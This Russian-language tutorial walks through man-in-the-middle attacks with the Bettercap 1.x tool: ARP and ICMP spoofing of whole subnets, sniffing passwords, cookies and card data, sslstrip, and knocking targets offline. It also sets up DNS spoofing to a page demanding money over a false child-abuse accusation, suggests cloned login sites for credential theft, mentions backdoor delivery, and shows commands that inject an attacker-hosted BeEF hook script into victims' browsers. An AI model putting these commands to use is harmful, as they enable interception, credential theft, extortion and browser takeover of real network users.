Данная инструкция устарела, рекомендуем перейти на страницу с новой инструкцией: "Новая версия bettercap 2.x: как установить и использовать в Kali Linux".
Bettercap – это ещё одна реализация желания улучшить Ettercap (наравне с MITMf). Скажем сразу – программе Bettercap это удалось. В программе Bettercap вы можете сделать практически всё, что умеет Ettercap. При этом нам не понадобятся дополнительные программы и множество открытых консолей.
Установка Bettercap
Об установке Bettercap вы можете посмотреть в соответствующем разделе страницы программы в Энциклопедии инструментов для тестирования на проникновение. Не будем переписывать сюда эти команды – там ничего сложного.
Разве что, давайте дополнительно загрузим модули Bettercap:
git clone https://github.com/evilsocket/bettercap-proxy-modules.git
Они не являются обязательными для работы, но они вполне могут пригодиться.
Описание самих модулей будет чуть ниже.
Запуск Bettercap
Bettercap сама способна определить имя сетевого интерфейса, используемого по умолчанию (это можно изменить опцией), трудно представить себе атаку человек-посередине без спуфинга, поэтому спуфинг включается автоматически (в опциях можно поменять тип спуфинга), нужно вручную включить сниффинг (опция -X), но зато сразу все парсеры также включаются автоматически. Автоматически же все обнаруженные устройства в сети добавляются в качестве жертв, в том числе на лету, во время работы программы (опять же, можно изменить в настройках). Итак, наша команда получается весьма лаконичной:
sudo bettercap -X
Сразу пошёл сбор данных (обратите внимание на перехваченную базовую аутентификацию):
Нам не нужна сторонняя программа для анализа трафика, поскольку встроенный сниффер в настоящее время в состоянии анализировать и печатать следующую информацию:
- посещённые URL.
- посещённые хосты HTTPS.
- отправленные методом HTTP POST данные.
- аутентификации HTTP Basic и Digest.
- HTTP кукиз.
- учётные данные FTP.
- учётные данные IRC.
- учётные данные POP, IMAP и SMTP.
- учётные данные NTLMv1/v2 ( HTTP, SMB, LDAP и т.п. ).
- учётные данные протокола DICT.
- учётные данные MPD.
- учётные данные NNTP.
- сообщения и учётные данные DHCP.
- учётные данные входа REDIS.
- учётные данные RLOGIN.
- учётные данные SNPP.
- И другое!
Здесь перехвачен логин и пароль, отправленные методом POST:
Частичный обход HSTS с Bettercap
Bettercap имеет в своём составе программу sslstrip+ (или sslstrip2). Для её активации нужно включить HTTP прокси и перенаправлять все HTTP запросы на него. Это делается опцией --proxy. Т.е. сама команда теперь выглядит так:
sudo bettercap -X --proxy
Не все сайты удаётся очистить от HTTPS. Можно включить HTTPS прокси и перенаправлять все HTTPS запросы на него (опция --proxy-https), но современные браузеры будут показывать страшное предупреждение, что соединение не зашифровано.
Опции Bettercap
Как уже было сказано, Bettercap самостоятельно находит все устройства и добавляет их в цели. Можно ограничить атаку только определёнными IP адресами:
sudo bettercap -T 192.168.1.10,192.168.1.11
Атаковать указанную цель по MAC адресу:
sudo bettercap -T 01:23:45:67:89:10
Атаковать диапазон IP адресов:
sudo bettercap -T 192.168.1.1-30
Атаковать определённую подсеть:
sudo bettercap -T 192.168.1.1/24
Выбрать случайный MAC адрес для своего интерфейса во время атаки:
sudo bettercap --random-mac
Ещё несколько ходовых опций
-I, --interface IFACE
BetterCAP автоматически определяет интерфейс сети по умолчанию и использует его, если вы хотите, чтобы программа использовала другой интерфейс (когда у вас их больше чем один, допустим eth0 и wlan0), то вы можете указать эту опцию.
--use-mac ADDRESS
Изменить MAC адрес интерфейса на это значение перед выполнением атаки.
-G, --gateway АДРЕС
Bettercap самостоятельно определяет шлюз, вы можете вручную указать его с этой опцией.
--ignore ADDRESS1,ADDRESS2
Игнорировать эти IP адреса, если они были найдены во время поисках целей.
--no-discovery
Не проводить активный поиск целей, просто использовать текущий ARP кэш.
Ведение журнала и сохранение данных
Для сохранения данных в файл out.log:
sudo bettercap --log out.log
Сохранить журнал вывода в файл out.log и подавление вывода в терминал:
sudo bettercap --log out.log --silent
Сохранить вывод в файл out-ts.log и включить временные метки для каждой строки:
sudo bettercap --log-timestamp --log out-ts.log
Опции спуфинга
В BetterCap уже включены ARP спуфер (работающий в режиме полного дуплекса и полудуплекса), DNS спуфер и первый в мире, полностью рабочий и полностью автоматизированный ICMP DoubleDirect спуфер.
Использование старого доброго ARP спуфинга:
sudo bettercap
# или
sudo bettercap -S ARP
# или
sudo bettercap --spoofer ARP
Использовать атаку спуфинга редиректа полного дуплекса ICMP:
sudo bettercap -S ICMP
# или
sudo bettercap --spoofer ICMP
Отключить спуфинг:
sudo bettercap -S NONE
# или
sudo bettercap --spoofer NONE
# или
sudo bettercap --no-spoofing
Вместо перенаправления пакетов, опция --kill приводит к тому, что все подключения для цели (-T 192.168.1.2) будут прерваны:
sudo bettercap -T 192.168.1.2 --kill
Примеры и опции сниффинга
Использовать bettercap как простой сниффер локальной сети:
sudo bettercap --local
# или
sudo bettercap -L
Использовать файл capture.pcap в вашей домашней директории как источник пакетов:
sudo bettercap --sniffer-source ~/capture.pcap
Спуфить всю сеть и сохранять каждый пакет в файле capture.pcap в вашей домашней директории:
sudo bettercap --sniffer-output ~/capture.pcap
Спуфить весь сетевой трафик, но сниффить только HTTP трафик:
sudo bettercap --sniffer-filter "tcp port http"
Спуфить всю сеть и извлечь данные из пакетов, содержащих слово “password”:
sudo bettercap --custom-parser ".*password.*"
Опции
-X, --sniffer
Включить сниффер.
-L, --local
По умолчанию bettercap парсит только пакеты с/на других адресов в сети, если вы хотите также обрабатывать пакеты отправляемые или получаемые с вашего компьютера, вы можете использовать эту опцию (ВНИМАНИЕ: будет включен сниффер).
--sniffer-source ФАЙЛ
Загрузить пакеты из указанного PCAP файла, а не с сетевого интерфейса (ВНИМАНИЕ: будет включен сниффер).
--sniffer-output ФАЙЛ
Сохранить все пакеты в указанный PCAP файл (ВНИМАНИЕ: будет включен сниффер).
--sniffer-filter ВЫРАЖЕНИЕ
Настроить сниффер для использования этого BPF фильтра (ВНИМАНИЕ: будет включен сниффер).
-P, --parsers ПАРСЕРЫ
Разделённый запятой список парсеров, которые нужно включить, используйте * для выбора всех (ВНИМАНИЕ: будет включен сниффер)., доступные: COOKIE, CREDITCARD, DHCP, DICT, FTP, HTTPAUTH, HTTPS, IRC, MAIL, MPD, MYSQL, NNTP, NTLMSS, PGSQL, POST, REDIS, RLOGIN, SNMP, SNPP, URL, WHATSAPP, по умолчанию установлено в *.
--custom-parser ВЫРАЖЕНИЕ
Использовать пользовательское регулярное выражение, чтобы захватывать и показывать перехваченные данные (ВНИМАНИЕ: будет включен сниффер).
DNS спуфинг
Если вы хотите выполнить DNS спуфинг, вы должны указать аргумент командной строки --dns ФАЙЛ, где ФАЙЛ – это имя файла, составленного примерно следующим образом:
# Пустые строки и строки начинающиеся с # игнорируется.
# редирект *.google.com на IP атакующего
local .*google\.com
# редирект *.microsoft.com на 10.10.10.10
10.10.10.10 .*microsoft\.com
Затем остаётся только выполнить:
sudo bettercap --dns dns.conf
Пример использования DNS спуфинга и мошеннического веб-сервера
При попытке доступа к какому-либо сайту, компьютер жертвы запрашивает IP адрес этого сайта у DNS сервера. С помощью DNS спуфинга мы можем направить цель на наш веб-сервер. При этом нам не нужно возиться с настройкой Apache и т.п., поскольку BetterCap имеет встроенный сервер!
Предполагается, что вы уже создали файл dns.conf с тем содержимым, которое приведено выше (можете добавить свои собственные записи). Теперь создадим файл, который будет открываться у жертвы:
mkdir web-fraud
echo "You were caught as a consumer of child porn. To stop public investigation you have to pay 1000 roubles to..." > web-fraud/index.html
Узнаем абсолютный адрес нашей папки для веб-сервера:
readlink -f web-fraud/
/home/mial/web-fraud
Кроме уже знакомых опций, мы используем --httpd (означает запустить веб-сервер), --httpd-path /home/mial/web-fraud (указывает на каталог с файлами веб-сервера) и --httpd-port 80 (определяет порт веб-сервера):
sudo bettercap -X --dns dns.conf --httpd --httpd-path /home/mial/web-fraud --httpd-port 80
Вот результат при попытке открыть google.com:
Естественно, чтобы это сработало нужно создавать правдоподобный дизайн, правдоподобную историю. Лучше всего себя покажут копии оригинальных веб-сайтов, в которых нужно вводить учётные данные для входа.
Модули BetterCap
Помните, почти в самом начале раздела мы скачали модули? Пришло время ими воспользоваться.
Это примеры модулей BetterCap для прозрачных прокси. Некоторые из них являются вполне готовыми решениями, некоторые являются образцом для ваших собственных модулей.
HTTP(S) прокси модули
- http/androidpwn.rb – Выполнит пользовательскую команду на каждом устройстве Android, эксплуатируя уязвимость "addJavascriptInterface".
- http/osxsparkle.rb – Выполнит пользовательский исполнимый файл Mach-O OSX на каждой OSX машине, эксплуатируя уязвимость Sparkle Updater https://vulnsec.com/2016/osx-apps-vulnerabilities/.
- http/beefbox.rb – Похоже на inject*, но специализируется на работе с BeEF framework.
- http/debug.rb - Отладка HTTP запросов и ответов.
- http/simple_post.rb – Перехватывает и отображает только выбранные POST поля.
- http/location_hijacking.rb – Перехватывает заголовок Location с пользовательским URL.
- http/replace_images.rb – Замена всех изображений на пользовательское.
- http/rickroll.rb – Вставка iframe с (не)знаменитым видео RickRoll в режиме автовоспроизведения.
- http/hack_title.rb – Добавляет текст "HACKED" в заголовок веб-сайтов.
- http/replace_file.rb – Заменяет на лету загружаемые файлы на пользовательские.
TCP прокси модули
- tcp/debug.rb – Просто скидывает в двоичном формате весь TCP трафик, проходящий через прокси.
- tcp/sshdowngrade.rb – Если возможно, выполняет атаку понижения SSH 2.x -> 1.x.
- tcp/mssqlauth.rb - Понижает MSSQL шифрование и захватывает учётные данные входа.
Допустим, мы хотим использовать модоуль hack_title.rb, тогда к команде нам нужно добавить опции --proxy --proxy-module=путь_до_файла_модуля. У меня этот модуль размещён в файле /home/mial/bin/bettercap-proxy-modules/http/hack_title.rb, поэтому команда у меня выглядит:
sudo bettercap -X --proxy --proxy-module=/home/mial/bin/bettercap-proxy-modules/http/hack_title.rb
Как видим, сработало:
Делаем все изображения перевёрнутыми:
sudo bettercap -X --proxy --proxy-module=/home/mial/bin/bettercap-proxy-modules/http/flip_image.rb
Тоже сработало:
Можно заменить все изображения на веб-сайтах на своё. Для этого его нужно разместить в каталоге веб-сервера BetterCap с именем hack.png. К примеру, подготовим наше изображение (на фотке автор BetterCap – Simone Margaritelli – передаёт привет из Аютаи):
wget https://hackware.ru/wp-content/uploads/2016/06/thailand.jpg -O web-fraud/hack.png
Запускаем:
sudo bettercap -X --httpd --httpd-path /home/mial/web-fraud --httpd-port 80 --proxy --proxy-module=/home/mial/bin/bettercap-proxy-modules/http/replace_images.rb
Для заражения бэкдорами обратите внимание на replace_file.rb, либо можно воспользоваться одним из плагинов по вставке разнообразного кода в HTML страницы.
Подцепление на BeEF
Это можно сделать двумя способами, во-первых, используя модуль beefbox.rb:
sudo bettercap -X --proxy --proxy-module=/home/mial/bin/bettercap-proxy-modules/http/beefbox.rb
Когда появится соответствующий запрос, введите директорию, куда установлен BeEF (в ней должен находиться исполнимый фай beef и файл с настройками config.yaml):
/usr/share/beef
Теперь можно перейти в панель управления BeEF и начать работу с подцепленными браузерами http://localhost:3000/ui/panel:
Второй способ будет описан ниже
Встроенные модули injectcss, injecthtml, injectjs
Кроме модулей, которые можно загружать/писать отдельно, в BetterCap имеются три встроенных модуля: injectcss, injecthtml, injectjs. Они, соответственно, вставляют в HTML страницы код CSS, HTML и JavaScript. Думаю, достаточно показать один пример по зацеплению на BeEF и рассказать об их опциях – в принципе, их использование не должно вызвать трудностей.
Запускаем BeEF
sudo beef
В другой консоли запускаем BetterCap (естественно, данные замените на свои):
sudo bettercap --proxy-module injectjs --js-url "http://192.168.1.3:3000/hook.js"
У модуля injectjs следующие опции:
--js-data СТРОКА
код Javascript для вставки.
--js-file ПУТЬ
Путь до файла JavaScript для вставки.
-js-url URL
URL файла JavaScript для вставки.
У модуля injecthtml:
--html-data СТРОКА
HTML код для вставки.
--html-iframe-url URL
URL iframe для вставки, если указана эта опция, то будет вставлен тэг "iframe".
У модуля injectcss:
--css-data СТРОКА
CSS код для вставки.
--css-file ПУТЬ
Путь до CSS файла для вставки.
--css-url URL
URL файла CSS для вставки.







